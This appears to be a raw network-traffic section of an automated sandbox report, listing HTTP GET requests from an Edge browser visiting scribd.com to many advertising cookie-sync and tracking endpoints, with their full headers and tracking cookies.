Source: global traffic	HTTP traffic detected: GET /track/rid?ttd_pid=j6w8ta9&fmt=json HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dappnexus%26userId%3D%24UID%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D&gdpr=&gdpr_consent= HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /universal/v1?supply_id=Wog2sp89&gdpr=0&gdpr_consent= HTTP/1.1Host: match.sharethrough.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pixel?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D130%26advUuid%3D%24UID&sovrn_retry=true HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=primis&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partner=rubicon&uid=M7A5MT0O-13-DO11 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cookie?redirect_url=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D143%26advUuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: cm.adform.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/syncr?gdpr=&gdprstr=&partnerId=null&r=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dundertone%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D%24UIDENC HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=25&gdpr=%5BGDPR%5D&gdpr_consent=%5BUSER_CONSENT%5D&ovsid=%7B%7BAPID%7D%7D&redirect=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11585%26id%3D%3Cvsid%3E&type=ris HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=39&uid=b909ece1-471c-4eed-af29-9516eb8a19da HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partner=rubicon&uid=M7A5MT0O-13-DO11&us_privacy=1-N- HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/user/pixel/?redirect=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D151%26advUuid%3D%24%7BuserId%7D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: sync.kueezrtb.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=39&uid=fe11c210-333f-4fc3-9ab6-4f25b193c6dc&us_privacy=1-N- HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /?gdpr=0&gdpr_consent=&us_privacy=&r=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D154%26advUuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D%26us_privacy%3D HTTP/1.1Host: sync.ingage.techConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: __cf_bm=BDUwEWmSEFPGRv5FaDlLasay6hm0Aj6PQ31LRRhZ8Jk-1739863209-1.0.1.1-jyV.frSirUFWPei.rMRXF3Yc5_GFIVrg87NRKIwtpDSIpLr60DoJ9dNdyhnXnok_e6t8cng03MnfpEYDbdm.yQ; instUid=65023955-4816-4674-89c6-bc6e7f69d9a0
Source: global traffic	HTTP traffic detected: GET /id HTTP/1.1Host: id.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _cc_id=ce74ff1dafe0d2d1d9556e3d59cef009
Source: global traffic	HTTP traffic detected: GET /uploads/cn1/video/users/converted/29874/video_65ba1ab406070534415698/vid6793665ef0992447929939.jpg?cbuster=1737713253 HTTP/1.1Host: video.primis.techConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: csuuid=67b434a8abd6b
Source: global traffic	HTTP traffic detected: GET /ima.js HTTP/1.1Host: cdn-ima.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8If-None-Match: W/"678fc4e6-41f8"If-Modified-Since: Tue, 21 Jan 2025 16:01:42 GMT
Source: global traffic	HTTP traffic detected: GET /oRTB?gdpr=0&gdpr_consent=&redirect=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11595%26id%3D%7BID5UID%7D HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160318&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160318%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fusr.undertone.com%252FuserPixel%252Fsync%253FpartnerId%253D53%2526uid%253D%2523PMUID&us_privacy=1-N-&rdf=1 HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dappnexus%26userId%3D%24UID%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-&gdpr=&gdpr_consent= HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /usync.html?p=12776&us_privacy=1-N- HTTP/1.1Host: eus.rubiconproject.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0onifGjSD3hyvyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /v000/sync?extinit=0&userid=2630127119070967565&pn_id=an&us_privacy=1-N- HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v000/sync?userid=q8k2HeVI5xhQ&ev=1&pn_id=pp&gpp_sid=&gpp=&us_privacy=1-N-&pid=561118&gdpr_consent=&gdpr=0 HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11584&uid=x_7JdzzTT9z7mLFduO61&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11580&puid=213002944097145 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /cs?aid=11603&gdpr=[GDPR]&gdpr_consent=[USER_CONSENT]&uid= HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11596&gdpr=[GDPR]&gdpr_consent=[USER_CONSENT]&id=2630127119070967565 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=fff333a6-de39-4d86-ac69-1c4d6dbcef67%252C%252C&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11592&uid=P3nIw6mfctvU&ev=1&us_privacy=[US_PRIVACY]&gdpr_consent=&pid=562615&gdpr=0 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /sync?pn_id=rc&id=M7A5MT0O-13-DO11&us_privacy=1-N- HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11574&id=95e9455b08 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?gdpr=%5BGDPR%5D&gdpr_consent=%5BUSER_CONSENT%5D&sub=typeaholdings HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
